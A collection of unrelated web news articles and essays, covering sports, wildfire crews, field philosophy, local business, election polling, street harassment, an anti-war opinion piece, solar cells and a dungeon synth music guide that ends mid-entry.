-Here's the latest trade and signing buzz from around the league:  Gourriel bidding war will end up in the $55-75 million range  Yulieski Gourriel's workouts have gone really well, and his high-end skills are evident. When it comes to talent, most evaluators place him between Jose Abreu and Yoenis Cespedes, and they expect him to impact a pennant race starting August 1, assuming he signs during the All-Star break.  Gourriel has the ability to play second, third or left field with third base being his best position. He's also special at the plate; he can hit for average and power. On defense, he has an above-average arm and glove. He has poise, composure and competitiveness qualities.  It’s really difficult to get an asset like him. You either have to draft this type of talent in the top 10 or empty your farm system to trade for him. Edwin Encarnacion, Jose Bautista and perhaps Cespedes headline a thin free-agent market this offseason, which only increases Gourriel's present value.  The thin inventory of third basemen makes him even more valuable.
-Delaware Forest Service to send help to Rocky Mountains  In response to Rocky Mountain wildfires the Delaware Forest Service is sending help in the form of a 20-person wildfire crew.  The crew will join four others from the east coast heading west to help crews in Colorado.  In response to increased wildfire activity, the National Interagency Fire Center upped its National Preparedness Level to 3 on a 5-point scale on June 28.  The crew being sent is a mix of volunteers and public agency personnel trained in woodland firefighting.  A representative of the Delaware Forest Service tells 47 ABC it means a lot for The First State to be able assist in this time of need.  "My hat goes off to the volunteers who take time away from their families and their jobs to help the Delaware Forest Service put a crew together and head to various parts of the country," said Kyle Hoyd, assistant state forester.  The firefighters are scheduled to fly to Grand Junction, Colorado on Sunday to pre-position for a pending assignment.  Their bus will leave from Smyrna Saturday at 1 p.m. for Harrisburg.
-The Stone is a forum for contemporary philosophers and other thinkers on issues both timely and timeless.  Back in September, Joshua Knobe of Yale University, writing here at The Stone, outlined a new experimental approach to doing philosophy in his post, “Experiments in Philosophy.” Philosophers, he argued, have spent enough time cogitating in their armchairs. Knobe described how he and a group of like-minded colleagues in the discipline have undertaken a more engaged approach, working with cognitive scientists and designing experiments that will “test” people’s intuitions about traditional philosophic puzzlers such as the existence of God, the objectivity of ethics and the possibility of free will. The result: new, empirically-grounded insights available to philosophers and psychologists.  Field philosophers leave the book-lined study to work with scientists, engineers and decision makers on specific social challenges.  The experimental philosophy movement deserves praise. Anything that takes philosophy out of the study and into the world is good news. And philosophy will only be strengthened by becoming more empirically-oriented. But I wonder whether experimental philosophy really satisfies the Socratic imperative to philosophize out in the world. For the results gained are directed back to debates within the philosophic community rather than toward helping people with real life problems.  Another group of philosophers, myself included, is experimenting with an approach we call “field philosophy.” Field philosophy plays on the difference between lab science and field science. Field scientists, such as geologists and anthropologists, cannot control conditions as a chemist or physicist can in the lab. Each rock outcrop or social group is radically individual in nature. Instead of making law-like generalizations, field scientists draw analogies from one site to another, with the aim of telling the geological history of a particular location or the story of a particular people.  “Getting out into the field” means leaving the book-lined study to work with scientists, engineers and decision makers on specific social challenges. Rather than going into the public square in order to collect data for understanding traditional philosophic problems like the old chestnut of “free will,” as experimental philosophers do, field philosophers start out in the world. Rather than seeking to identify general philosophic principles, they begin with the problems of non-philosophers, drawing out specific, underappreciated, philosophic dimensions of societal problems.  Growing numbers of philosophers are interested in this kind of philosophic practice. Some of this field work in philosophy has been going on for years, for instance within the ethics boards of hospitals. But today this approach is increasingly visible across a number of fields like environmental science and nanotechnology. Paul Thompson of Michigan State has worked with and challenged the food industry on the application of recombinant DNA techniques to agricultural crops and food animals. Rachelle Hollander, now at the National Academy of Engineering, worked for years at the National Science Foundation to integrate ethics and values concerns with the ongoing work of scientists and engineers. And at my own institution, the University of North Texas, we have worked with the U.S. Geological Survey and the small community of Silverton, Colo., on problems of water quality, the legacy of 19th- and 20th-century gold mines; helped the Great Lakes Fisheries Commission develop a management plan for the Great Lakes; and assisted the Chilean government in creating a UNESCO biosphere reserve in Cape Horn.  Sometimes what is needed is not the 7000-word scholarly article but rather a three-minute brief or a one-page memo.  Note further that “field” areas also include government offices in places such as Washington, DC and Brussels. So, for instance, my research group is in the midst of a three-year study funded by the National Science Foundation that is examining the process of peer review for grant proposals. Science agencies around the world are struggling to bring assessments of the larger societal impact of proposed research into the peer review process. In this study we meet regularly with the users of this research — the federal agencies themselves — to make sure that our research helps agencies better address societal needs. The “field” can even include the lab, as when Erik Fisher of Arizona State speaks of “embedded philosophers” who, like embedded journalists of recent wars, work daily alongside lab scientists and engineers.  Field philosophy has two roles to play in such cases. First, it can provide an account of the generally philosophical (ethical, aesthetic, epistemological, ontological, metaphysical and theological) aspects of societal problems. Second, it can offer an overall narrative of the relations between the various disciplines (e.g., chemistry, geology, anthropology, public policy, economics) that offer insight into our problems. Such narratives can provide us with something that is sorely lacking today: a sense of the whole.  Field philosophy, then, moves in a different direction than either traditional applied philosophy or the new experimental philosophy. Whereas these approaches are top-down in orientation, beginning in theory and hoping to apply a theoretical construct to a problem, field philosophy is bottom-up, beginning with the needs of stakeholders and drawing out philosophical insights after the work is completed.  Being a field philosopher does have its epistemological consequences. For instance, we take seriously the temporal and financial constraints of our users. Working with government or industry means that we must often seek to provide “good-enough” philosophizing — it often lacks some footnotes, but attempts to provide much needed insights in a timely manner.  The willingness to take these constraints seriously has meant that our work is sometimes dismissed by other philosophers. Across the 20th century, philosophy has embraced rigor as an absolute value. Other important values such as timeliness, relevance and cost have been sacrificed to disciplinary notions of expertise. In contrast, we see “rigor” as involving a delicate balance among these often competing values. To put it practically, field philosophers need to learn how to edit themselves: sometimes what is needed is not the 7000-word scholarly article but rather a three-minute brief or a one-page memo.  Related More From The Stone Read previous contributions to this series.  Make no mistake: field philosophy does not reject traditional standards of philosophic excellence. Yet in a world crying out for help on a wide range of ethical and philosophical questions, philosophers need to develop additional skills. They need to master the political arts of working on an interdisciplinary team. Graduate students need to be trained not only in the traditional skills of rigorous philosophical analysis but also in the field rigor of writing grants and framing insights for scientists, engineers and decision makers at the project level.  Finally, a field approach to philosophy may also help with the challenge facing the entire academic community today. Underlying the growing popular distrust of all societal institutions lies a social demand for greater accountability for all those who work in the industry of knowledge production. This is most obvious among scientists who face increasing demands for scientific research to be socially relevant. But with budgets tightening, similar demands will soon be made on philosophy and on all the humanities — to justify our existence in terms of its positive and direct impacts on society. Field philosophy, then, serves as an example of how academics can better serve the community — which after all is said and done, pays the bills.  Robert Frodeman is professor of philosophy and founding director of the Center for the Study of Interdisciplinarity at the University of North Texas. He is author of “Geo-Logic: Breaking Ground between Philosophy and the Earth Sciences (2003), co-editor of the “Encyclopedia of Environmental Ethics and Philosophy” (2008), editor of the Oxford “Handbook of Interdisciplinarity” (2010).
-When Alicia Mahoney moved to the Royal City five years ago, she thought she was edging towards an empty nest. Her eldest, River, was graduating from high school and her daughter, Akaylah, was entering Grade 8.  “Honestly, I was planning my adult-no-children life,” Mahoney jokingly said in an interview with the Record.  article continues below  But then life happened – she got pregnant.  “I was a little shocked, but it turned out to be a blessing,” she said of now 17-month-old Jackson.  Becoming a mother for the third time, however, made her realize New Westminster was missing something “very important” – a good quality toy store.  “With teenagers, its clothes and electronics, but for the little guys, there was absolutely nothing here unless you go across the bridge to Queensborough, or out to Coquitlam to Toys R Us,” she said.  That’s when she decided to open her own – Shnoo and the Pachooch – at the Quay last fall. She knew she had a niche market because the River Market’s Pedagogy Toys had shut down in 2012. Some of Mahoney’s inspiration also came from the abundance of children’s stores on Commercial Drive, the neighbourhood she used to work and shop in prior to her business venture, as well as a Facebook group called New West Moms.  “A lot of moms were asking, ‘Where can I get this kind of toy? I don’t want to go to Toys R Us or Walmart,’ and they were getting sent out of the city,” Mahoney explained.  After some back-and-forth discussion with the River Market team, Mahoney launched the Shnoo and the Pachooch kiosk last October. She and another artisan, who was sharing the booth at the time, were then asked to move into a 100-sq. ft. retail space next door. Mahoney started operating solo at the start of this month because her colleague’s contract expired.  “The feedback’s been good,” she said. “I started out with things I would want my little guy (to have); then I thought about my niece, people I would buy for, and I just wanted quality toys.”  When shopping around for inventory, Mahoney said she looks for award-winning, eco-friendly and sustainable products, ones that “you’re not going to find in big box stores.”  Her shelves are home to bashful monkeys, checkout registers and peek-a-boo pandas. Besides toys, the New West resident is working on getting some locally-designed clothing into the mix; something she says is also missing on the shopping front.  If mothers can’t make it to the store, located at 131-810 Quayside Drive, Mahoney has set up a website (shnoopachooch.com) to order from.  “I’d like people in Canada, and even in the States, to be able to access my stuff because I know people are moving away from corporations and they’re more open to supporting small businesses,” she said.  Asked about future business plans, Mahoney said she hopes to expand but stay at the Quay.  “I thought about other areas in New West, and I just didn’t want to be anywhere else. It’s such a central location that kids come to,” she said.  As for the name Shnoo and the Pachooch, they’re nicknames Mahoney called her kids while they were growing up.
-This article is from the archive of our partner .  Mitt Romney's debate performance pushed him into a national lead over President Obama among likely voters, Pew Research Center reports in its latest poll numbers. Romney is leading Obama 49 percent to 45 percent in a poll taken over four days after the debate last week, even though in mid-September, Obama was leading Romney by 8 percentage points. There's a ton of good news for Romney in this poll:  Two-thirds of registered voters think Romney won the debate, while only a fifth think Obama did.  Romney's favorable rating hit 50 percent among registered voters for the first time.  Voters think Romney is the candidate of ideas by 47 percent to 40 percent.  Romney and Obama are tied as to who would be a strong leader—even though Obama had a 13-point lead on that question last month.  Romney has an 8-point lead on jobs.  Voters still think Obama is the candidate who's more moderate, honest, and consistent.  Other pollsters have found Romney crushed Obama in the debate, too -- Gallup says Romney was seen as the victor by the biggest margin in its history. But Gallup hasn't yet measured such a big swing toward Romney in national polls, showing Obama ahead 50 percent to Romney's 45 percent.  This article is from the archive of our partner The Wire.  We want to hear what you think about this article. Submit a letter to the editor or write to letters@theatlantic.com.
-Julia Marquand was shopping in downtown Seattle on Oct. 12 when a man began following her closely, then reached out and grabbed her butt.  Instead of ignoring it, however, Marquand took the issue into her own hands. Thinking quickly, she snapped pictures of her attacker on her phone and reported the incident to the police, she told KING 5 News. When the cops didn't seem interested, she turned to social media and tweeted her purported offender's mug, where it went viral.  I have a pic of the man who groped me & the cops don't want it. @iHollaback @seattlish @seattletimes @seattleweekly pic.twitter.com/58JHEwjZvF  Her tweet also caught the attention of local media, which eventually led to the man being identified as Daryl Sharma, a "level 3" sex offender who had previously been convicted of groping another woman. Shortly thereafter, the Seattle Police Department arrested him for violating his supervision's terms.  Currently, social media is too often used as a tool to shame and threaten women online. Marquand's actions turned the tables on this trend, however, empowering herself and others in the process. Indeed, her tweets jump-started a conversation about women's experiences with street harassment, highlighting just how pervasive it is through the various stories others began to share.  have gotten several emails already from other women reporting similar experiences with the same groper #seattlegroper #gropergate  Pic of the ass groper #YesAllWomen #streetharassment #Seattle pic.twitter.com/u30sDSVOcR  Ladies, tweet me your own stories of groping and harassment - people need to realize how widespread this problem is #gropergate #yesallwomen  have gotten several emails already from other women reporting similar experiences with the same groper #seattlegroper #gropergate  i once witnessed a woman confront a man on the bus who had groped her in the past (on the bus), @JuliaMarquand. no one reacted at all.  Ladies, tweet me your own stories of groping and harassment - people need to realize how widespread this problem is #gropergate #yesallwomen  Ladies, tweet me your own stories of groping and harassment - people need to realize how widespread this problem is #gropergate #yesallwomen  Ladies, tweet me your own stories of groping and harassment - people need to realize how widespread this problem is #gropergate #yesallwomen  Looks like the groper is caught, but #streetharrasment still an issue. Was harassed on the way to 2 interviews today on street #gropergate  Marquand is right: Street harassment is very much a serious issue, and it doesn't seem to be going away anytime soon.  As Mic previously reported, "harassment in public spaces is a significant problem in the United States, with 65% of women reporting they have experienced some form of street harassment in their lifetimes. Even worse, 41% reported physically aggressive forms, including sexual touching, following, flashing and being forced to do something sexual." It can even have deadly consequences.  Something so socially ubiquitous, like street harassment, demands an equally sweeping response, and Marquand is not the first victim to attempt to take justice into their own hands. Like Marquand, other women have been detailing their harassment online for months. This summer, a Minneapolis woman began recording and uploading videos of her harassers to YouTube, and a woman in New York City recorded the man she said exposed himself on the subway. Apps like Hollaback! have also made reporting harassment even easier.  So, take note, harassers: Think twice before catcalling, groping or otherwise assaulting women on the street. Yours might be the next face circulating on social media.
-Please enable Javascript to watch this video  UPDATE: Van and dogs found safe. Click here for details.  CHICAGO -- A van with seven dogs from a day care center was stolen at gunpoint in the River West neighborhood.  Police say the carjacking happened around 3:50 p.m. Wednesday.  The van was at the intersection of Chicago, Ogden and Milwaukee.  Police say a driver for the doggie daycare facility Urban Outsitter was in the process of returning the dogs to their owners when the van was hijacked.  P olice say two men carjacked the driver at gunpoint. The driver complied and the men fled in the van.  The van hit two other cars in the process of fleeing the scene.  The van is a silver Town & Country with license plate R18-8668.  The men were between the ages of 18 and 25.  Anyone who has any information is asked to call police.
-There is simply no logic to the argument, no matter how it is interpreted”.  http://theduran.com/food-medicine-cant-get-passed-saudi-blockade-yemen-nikki-haley-thinks-missiles-can/  While many in the west are experiencing “war fatigue”, it would appear that they are also experiencing “protest fatigue” when it comes to the all important issue of peace.  February the 15th, 2003, is generally considered to be the biggest day of global protests in history. Anti-war marches and rallies took place on every populated continent, as millions came together to oppose George W. Bush’s war on Iraq, which ultimately broke out the following month.  In New York, upwards of 400,000 people gathered to try and stop the war while estimates of upwards of 1 million gathered in London, with two million marching in Madrid.  On that day, the streets of most major capital cities in the world staged events to reject war, with the most substantial demonstrations held in the large cities of Europe, North America, the Middle East and diverse parts of Asia ranging from Malaysia to India.  The protests did not stop the war, but they did help to set the stage for the failure of the war hawks to explain themselves out of the disaster that was and to an extent remains, the illegal 2003 war on Iraq.  Since that time, the US and its allies have successfully destroyed Libya while they continue to meddle in Syria after using proxy forces to instigate the present conflict in Syria starting in 2011.  Now, Iran is subject to much of the same defamatory statements that have been hurled at Iraq, Libya and Syria.  While many people are deeply opposed to the actions the US has taken to destroy sovereign states since 2003, there have been no repeats of the mass protests of that year.  In looking for an answer as to why this might be, there are some negative but also some positive answers.  Social Media  Social media has come a long way since 2003. In fact, the first major western social media network, Myspace, only launched after the Iraq war. In 2003, the internet was powerful, but nowhere near as powerful as it had become by 2011.  Today, people “protest” and “demonstrate” on a daily basis across a wide variety of platforms including, Facebook, VK, Twitter, Telegram, Instagram, Youtube and many others. Crucially, many popular social media networks are owned by companies based outside of the US, helping to make the corporate governance of major websites and apps far more pluralistic than was the case in 2003.  The power of social media to galvanise public opinion against war should not be underestimated. The fact that so many western corporations and governments try and often succeed in silencing online protest, is clear sign that the powers that be in war hungry western governments, believe that such mechanisms are turning public opinion against mainstream pro-war political groups.  Protest Fatigue  On the other side of the spectrum, seeing how the anti-Iraq War protests ultimately did not change the policies of the US and its war partners, it would appear that many have decided that the peaceful mobilisation of street protesters is not effective.  Since 2003, organic, big tent anti-war protests have largely been subsumed in the west by a combination of genuine protests over national or local matters and paid “protests” by sectarian foundations. When looking for an example of a genuine local protest, one can point to the frequent anti-economic austerity protests in countries like Greece. Examples of paid “protests” by sectarian foundations are typified by those organised by various bodies funded by and/or coordinated by George Soros. These protests never deal with broad unifying issues such as that of world peace.  Republican versus Democrat  While I believe that there is truth to a great deal of the previous two theories, the idea that anti-war activists are more likely to protest a Republican President in the White House going to war, rather than a Democratic one. seems to be an argument which has passed its use-by-date.  Donald Trump is a Republican US President who won an election based largely on an anti-war platform. The fact that in less than a year, he is creating as much global instability as his two war-mongering predecessors has not resulted in mass protests of the kind seen against Bush and his international partners in 2003.  While members of the political elite will always use party politics as a means of point-scoring against an opponent, the idea of a left-right divide in 21st century anti-war politics, is no longer apt.  Broken Promises  While it seems to be largely forgotten now, George W. Bush first ran for President on a platform of opposition to “nation building”, as he called it in 1999 and 2000. He even once said that he wanted to avoid being known as the “ugly American” for trying to impose American style governance on sovereign states.  Watching Bush’s campaign clips makes for a surreal experience, as Bush continues to epitomise the arch pro-war neo-con in most people’s eyes. During his campaign though, he expressed a degree of scepticism about Bill Clinton’s illegal war on Yugoslavia which his opponent, then Vice President Al Gore continued to extol as a “success”.  In 2008, Barack Obama’s anti-war message was vocal and visible. The now infamous “change” and “hope” posters were as much about opposition to the Iraq War and the Guantanamo Bay concentration camp, as they were about domestic issues.  Long before his campaign, Obama frequently spoke out against Bush’s war, as a rising star in the Democratic party.  Obama ended up going to war with more sovereign states than George W. Bush, while also antagonising Russia and China far more than Bush ever did. Hope soon turned into “nope”.  Donald Trump Tweeted endlessly through Barack Obama’s Presidency about the disastrous Middle Eastern wars pursued by Obama.  What will we get for bombing Syria besides more debt and a possible long term conflict? Obama needs Congressional approval. — Donald J. Trump (@realDonaldTrump) August 29, 2013  AGAIN, TO OUR VERY FOOLISH LEADER, DO NOT ATTACK SYRIA – IF YOU DO MANY VERY BAD THINGS WILL HAPPEN & FROM THAT FIGHT THE U.S. GETS NOTHING! — Donald J. Trump (@realDonaldTrump) September 5, 2013  Many of the Syrian rebels are radical jihadi Islamists who are murdering Christians. Why would we ever fight with them? — Donald J. Trump (@realDonaldTrump) September 6, 2013  Don't attack Syria – an attack that will bring nothing but trouble for the U.S. Focus on making our country strong and great again! — Donald J. Trump (@realDonaldTrump) September 9, 2013  These online statements led Trump to eventually run for US President on a similar platform. Once in power, he escalated the war against Syria, threatened to destroy North Korea and is once again making threats against Iran.  In this sense, it seems apparent that people have grown numb from multiple US Presidents campaigning for peace and ruling through war. As such, few protesters seek to mobilise in order to hold lying leaders to account.  The peace is not meant to be won–it is meant to be continuous  George Orwell once wrote that “the war is not meant to be won–it is meant to be continuous”.  Decades of US wars from the invasion of Philippines in 1899 to the wars of 2017, have proved that for modern America, peace is the exception and war is the rule.  As such, many peace activists and those with a conscience have concluded that a single day of protests is not enough to rally support against a cycle of wars that is a perennial phenomenon.  Because of this, the social media model of constant global, digital mobilisation may well prove to be more effective in the long-term than putting millions of anti-war demonstrators in the streets on a single day. It is also less time consuming and more cost effective.  As it is with all opposition groups, the use of platforms from foreign countries may prove to be invaluable as US owned social media networks continue to crack down on those who oppose war, occupation and inhumane conditions.  There is no guarantee that this will work, but it is certainly the most clear option that those opposed to war in the 21st century must utilise as much as possible.
-The application of Dye Solar Cells (DSC's) in many technologies and new products is at least a year away, according to Dyesol, the leading company in the fast-growing DSC sector. DSC technology still has a way to go to catch up with nature. You see, DSC technology is based on the process whereby plants convert light into energy and store it. Plants that use photosynthesis operate 24/7, even when the sun is not shining.  Essentially, it's working those long hours that will prove DSC energy more efficient than silicon-based solar cells. The bio-inspired DSC is more powerful in a wider range of light and temperature conditions and its material flexibility makes it easy to be incorporated into many commonly used materials from steel in the building industry to fabric in the textile industry. DSC will also be far less expensive than silicon-based solar cells and will not leave the carbon footprint that current solar plants are making. In short, the application of DSC technology to existing and new materials is going to be revolutionary, changing the way we interact with many of our environments.  Dyesol, an Australian company, with an international board of directors and customer base, is creating the DSC's which will generate heat when incorporated into glass, steel, paint, nano fabrics and many other textures. DSC's are extremely flexible. Layers of dye are formed and then laid on layers of material from steel to fabric. The dyes can be colored or transparent.  Dyesol is now working with the Welsh Assembly Government on a project designed to see if roofing steel can generate electricity. Additionally, the University of Rome, the Italian companies ERG Renew and Permasteelisa, and the Australian Department of Defense have contracts with Dyesol for various applications of DSC technology.  DSC's, inspired by photosynthesis, will soon be coming to a roof or window or winter shirt near you. Probably not soon enough.  Sources: AskNature.org, Dyesol. SmartCompany.com Plant Photo: Forest & Kim Starr
-Image caption The photographs were taken while the Duke and Duchess of Cambridge were on a private holiday  The editor of the Irish Daily Star newspaper has resigned over the publication of topless photographs of the Duchess of Cambridge.  Michael O'Kane was suspended from his post in September while an internal investigation was carried out.  The tabloid published pictures of the duchess and Prince William sunbathing on a private holiday in France.  Media tycoon Richard Desmond, whose Northern and Shell group co-owns the paper, had threatened to shut it down.  Best interests  The Dublin-based Irish Daily Star said in a statement: "As a result of the publication on 15 September 2012, issues arose with the shareholders of Independent Star Limited.  "Having considered those issues in tandem with Mr O'Kane, it is Mr O'Kane's decision to resign as editor of the Irish Daily Star, effective immediately."  It is Mr O'Kane's decision to resign as editor of the Irish Daily Star, effective immediately Irish Daily Star statement  Northern and Shell group co-owns the newspaper with the Irish-based Independent News and Media.  Independent News and Media said Mr O'Kane acted at all times in a highly professional and appropriate manner and in the best interests of the newspaper.  Criticised decision  He followed all editorial policies and guidelines, it added.  Both co-owners had criticised the decision of Mr O'Kane to publish the pictures, although Independent News and Media said closing down the title would be disproportionate.  The Irish Daily Star re-published the photographs in September after they appeared in French celebrity gossip magazine Closer.  The pictures were used by publications in France, Italy, the Irish Republic, Sweden and Denmark. No British newspaper has printed them.  They did not feature in the Northern Ireland edition of the Irish Daily Star.
-As Manchester United sell off another young talent in the form of Adnan Januzaj we take a look at 5 players that were tipped to be the next best thing to come out of the United system. But all they managed to do is fade into oblivion.  1. Nick Powell  Powell joined United in 2012 from Crewe Alexandra for a fee of £6 million. While everyone thought that United had paid way too much for a youngster but the club had full faith in Powell’s talents and the youth system of Crewe. United were confident that they had bought a potential superstar who would dazzle the United midfield for years to come.  He made his debut in September 2012 replacing the great Ryan Giggs. And within 10 minutes of his debut, the youngster scored a screamer of a goal from outside the box. But that was basically it for Powell. After that, the Englishman packed his suitcase and travelled all around England in various loan spells. But luck just refused to shine on him and everywhere he went, the now 23-year-old failed to make any sort of impact. Man Utd eventually sold off the player to Wigan Athletic in 2016, the same club against which he had made his debut.  2. Federico Macheda  Not many players can boast of making a title deciding impact on their debut. But Macheda is one of those few players who can say that. In 2009 the Red Devils were trailing to Aston Villa and that is when Ferguson decided to throw Federico Macheda onto the pitch, a player that you would never have heard of unless you were a United faithful that is.  While the whole world looked and possibly frowned at the manager’s decision, Ferguson knew exactly what he was doing. And as luck would have it, Macheda scored a brilliant goal in injury time helping United win the match 2-1. After that match, Macheda did manage to make a few starts for the team but failed to make any sort of impact. The Italian’s career graph started to dip from 2011 and he went on loan to as many as five clubs. And eventually in 2014 Man Utd released Macheda who then went on to join Cardiff City.  3. Chris Eagles  Eagles is now 31 years old and plays for Port Vale in the fourth tier of English football. But at the turn of the millennium, he was one of the most promising youngsters in the whole of England.  Eagles came to the United academy in 2000 from Watford, and Ferguson had really high hopes from this youngster. But like most of the players in this list, Eagles too failed to break into the first team and spent most of his time on loan spells. And United eventually sold him off to Burnley in 2008.  4. Bojan Djordjic  The Serbian signed for United in 1999 and was undoubtedly one of the most gifted youngsters of that time. But he was more inclined towards pubs and parties rather than the training grounds. And this ultimately affected his development, forcing United to release him in 2005.  Djordjic joined Rangers after being released by United and since then the Serbian has gone on to play for 8 different clubs.  5. Ravel Morrison  Sir Alex Ferguson mentioned Morrison as the brightest 14-year-old he had ever seen at the club, better than even the likes of Ryan Giggs and Paul Scholes. But the youngster was also the ‘saddest case’ during his managerial career at United.  And when Morrison finally left for West Ham in 2012, everyone at Old Trafford thought the exact same thing, “How could someone so talented be so reckless with his future?”  Morrison was not just talented but was better than Paul Pogba at one point of time. Yes, you heard that right. But unlike Pogba, the Englishman just refused to work hard. And his off-the-field actions did not help his career either. Morrison repeatedly kept getting into trouble with the authorities and finally United decided they had enough.  Did we miss out on someone? Let us know.
-Tokyopop's Stu Levy has talked to Publishers Weekly about the company's plans to get back into North American publishing business. In terms of manga, he reiterated what he said at Anime Expo, that they'd have to pursue "hidden gems" rather than big titles or incomplete series.  "We have to talk with licensors, asking them to give us another chance," Levy said. “Some are open-minded, and some are skeptical. Our role is to find people that want to work with us to make it work, and make it sustainable financially.”  They are also in talks with TV, movie, and video game companies about doing original manga, along the lines of the company's earlier CSI, Star Trek andBattlestar Galactica releases.  Levy is also working on new digital comics initiative, POP Comics. This is a mobile app for iOS and Android that allows creators to upload and promote their original comics, with a closed beta up at thttp://popcomics.com  The comics on POP Comics will be free to read, and supported by online ads. Creators will get 70-75% of the ad revenue, with 30% going to Tokyopop.  Levy cited similar online platforms like LINE's Webtoons as the inspiration for POP Comics. "This kind of thing is a trend in Korea and Japan. LINE has 10 million users, reading manga on their apps that's not seen in any magazine."  Read more, including Levy's statements on the creative rights for Pop Comics works on Publishers Weekly.  ------  Scott Green is editor and reporter for anime and manga at geek entertainment site Ain't It Cool News. Follow him on Twitter at @aicnanime.
-NEW DELHI: The Delhi High Court on Wednesday upheld the policy of Indian Airlines to ground overweight airhostesses.  A bench headed by Justice A K Sikri dismissed the petition filed by some Indian Airlines airhostesses, who were grounded due to putting on weight excessive to the limit fixed by the airlines.  The court had on May 5 reserved its judgement on a bunch of petitions of Indian Airlines' airhostesses challenging their grounding for being overweight.  The petitioners had also challenged the Airlines' circular of withdrawing permissible overweight limit of 3 kg over and above the upper limit as laid down for the cabin crew.  Challenging the grounding of air hostesses due to their weight, advocate Arvind Sharma appearing for the petitioners had contended that the action was arbitrary and illegal.  "There is no connection between weight and performance of duty when one is medically fit. Weight is not criteria of fitness," Sharma had contended.  The petitioners had challenged the judgment of single bench of the High Court which had upheld the Airlines' policy of grounding overweight airhostesses.  Additional Solicitor General Gopal Subramanium appearing for the Airlines' had contended that the action taken against them was justified.  "It was clearly mentioned in their contract that their job could be terminated in case they put on weight above the permissible limit and they have just been grounded on a condition that they would be allowed to fly after losing weight," Subramanium had said.
-(Kaptain Carbon returns to NCS with a feature devoted to Dungeon Synth”. Kaptain Carbon operates Tape Wyrm, a blog dedicated to current and lesser known heavy metal. He also writes Dungeon Synth reviews over at Hollywood Metal as well as moderating Reddit’s r/metal community. We’ve heard that he is also a fantastic dungeon master and has some wonderful EDH decks.)  If you have been following my exploits and research into dungeon synth, this article should come as no surprise. For the past year or so I have taken a swan dive into this genre without any hesitation or thought of the consequences. If you are new to dungeon synth, allow me to give you a proper introduction.  Dungeon synth is the new name for a nebulous genre of music that was formed out of the merging of dark ambient electronic style music and the production aesthetic of black metal. It has existed in many facades over different decades and has provided a canvas for many underground metal musicians to pay tribute to the speculative worlds of their imagination. The early days of dungeon synth did not even hold its current name, rather the phrases “dark medieval,” “neoclassical,” and “dark ambient” would be placeholders for this style of music that would take years to be rediscovered and rebranded. Today, dungeon synth is still a relatively obscure style of music, providing joy to the few who celebrate its existence. In the dark corners of an already dark and underground style of black metal music lies a budding genre that is filled with bizarre wonder.  The underground metal scene of the late ’80s and early ’90s provided musicians with the resources to record music without the necessity of a large studio. Home and DIY recordings, coupled with the tape-trade scene, would make the production and destruction of music not necessarily easier but give it its own unique qualities. Dungeon music appeared out of the desires of musicians to continue their exploration into the atmospheres and landscapes created by black metal music but with the guide of synthesizers. Retaining the grim atmosphere of black metal, dungeon music would celebrate the worlds of fantasy and speculation at a slower pace and with more of a regal disposition. The use of the synthesizer allowed musicians to command and create many sounds from a center and acted as a canvas for vast speculative worlds to form. Black metal of the ’90s has a deep, inlaid history with Tolkien and other fantasy sources, and dungeon music was an extension of this fascination, just with a new sound. It was the musical version of fantasy stories written by anyone who had the means for its production.  Before you go any further, ask yourself what you want. If you enjoy the fantasy aspects of metal and would like to explore a unique splinter genre of metal that travels into some weird, nostalgic, and experimental territory, please pass through this gate. However, if you find the fantasy qualities irritating or unoriginal, then I would suggest you not pass through Khazad-dûm and turn back to whence you came. I do not know how this whole thing started, but at this point I am head-over-heels when it comes to my affection for this music. If you are like me, you will giggle at first but then slowly succumb to the allure of woodland magic until you are pushing up your glasses before explaining to others what this music really is.  ///  Introductory Releases  ///  MORTIIS – Ånden som gjorde opprør (1994)  Mortiis is one of the earliest and perhaps most important progenitors of dungeon synth. Originally the bassist for the band Emperor and appearing on the band’s earliest recording, Wrath of the Tyrant, Mortiis left the band to begin his own solo work, which was actually 4 separate projects. Mortiis, Vond, Cintecele Diavolui, and Fata Morgana were all under the umbrella of Mortiis and have little difference between them. Though his first record appears on this list, pretty much all side projects, and the first 7 releases from 1993-1999, are of interest for people who want to learn more about this style. Though the artist seemed entirely devoted to this “dark dungeon music” in the 1990s, all released past 1999’s The Stargate are a mix between electropop and industrial. Things are weird but they could always be weirder.  Summoning – Minas Morgul (1995)  Summoning is important to dungeon synth, as a genre, because it was the work of this Austrian black metal act that solidified the sound that would later influence the style a decade later. Minas Morgul not only was all-in on the Tolkien themes, but it also had space for synth backdrops and centerpieces. Summoning would eventually become more orchestral in their music style, but the retention of two members would continue their distinct synth sound throughout their work and carve out a very unique style for themselves. You can certainly listen to Summoning and not enjoy dungeon synth; however, the two entities are basically neighbors, and I wouldn’t see any reason not to at least give it a try if you are a Summoning fan.  Depressive Silence – The Darkened Empires / Depressive Silence (1995)  Depressive Silence was a German act and side project of a melodic black band called Mightest. The two members made more of an impression with their two self-released demos released in either 1995 or 1996. Both Depressive Silence demos are 40 minutes in length and fully embrace an icy synth atmosphere complete with full escapism. The Darkened Empire, aside from being more in tune with far-off lands, has a buried creaking voice that runs throughout the temperate music. I use Depressive Silence as an introduction to dungeon synth because their music is immersive in its sound, and the presentation of their world is complete and well-structured. These demos are a good first introduction to the world of demos, which will only get more varied from here.  Neptune Towers – Caravans to Empire Algol (1994)  Neptune Towers was a Darkthrone side project helmed by Fenriz in tribute to Kosmische Musik pioneer Klaus Schultz. I save Neptune Towers for a the later part of this article mainly because Caravans to Empire Algol, despite its fantastic themes, leans more towards drone/ambient than dungeon synth. Dungeon synth would eventually have aspects of drone and haze crawling within it, but Neptune Towers is bordering on astral in terms of structure. In fact, Fenriz called this project, “Deep Space Alien Astral Avant-garde Synth,” which surprisingly has very few other acts. The album spans two records, both released on the black metal label Moonfog, and remain those weird releases one can go to when black metal is not weird enough.  ///  Demos and Further Releases  ///  Lamentation – Fullmoon Over Faerhaaven (1995)  My research into some of these releases led me to figuring out names used and possible sources of inspiration. Fullmoon Over Faerhaaven is most likely dedicated to Castle Faerhaaven, an obscure location in the Dungeon and Dragons gothic setting of Ravenloft. Lamentation is a Greek act whose members played ambient music before eventually forming the NS black metal act Der Stürmer. Before their Nazi future, however, they concerned themselves with Transylvanian fantasies and music of foggy mists.  Dies Irae – Circle of Leth (1995)  Dies Irae was an obscure Norwegian ambient side project of an even more obscure black metal group called Cruciamentum (not the UK death act). Circle of Leth was the only release by Dies Irae and is 27 minutes of well-measured, regal-sounding dungeon synth. The band was clearly in love with classical music, using Italian musical descriptions for their music, which sometimes breaks into distorted instrumentation complete with harsh narration. If you ever wanted to be content with some of the more obscure releases in the past few decades, this would be a safe bet.  Erevos – My Black Desires 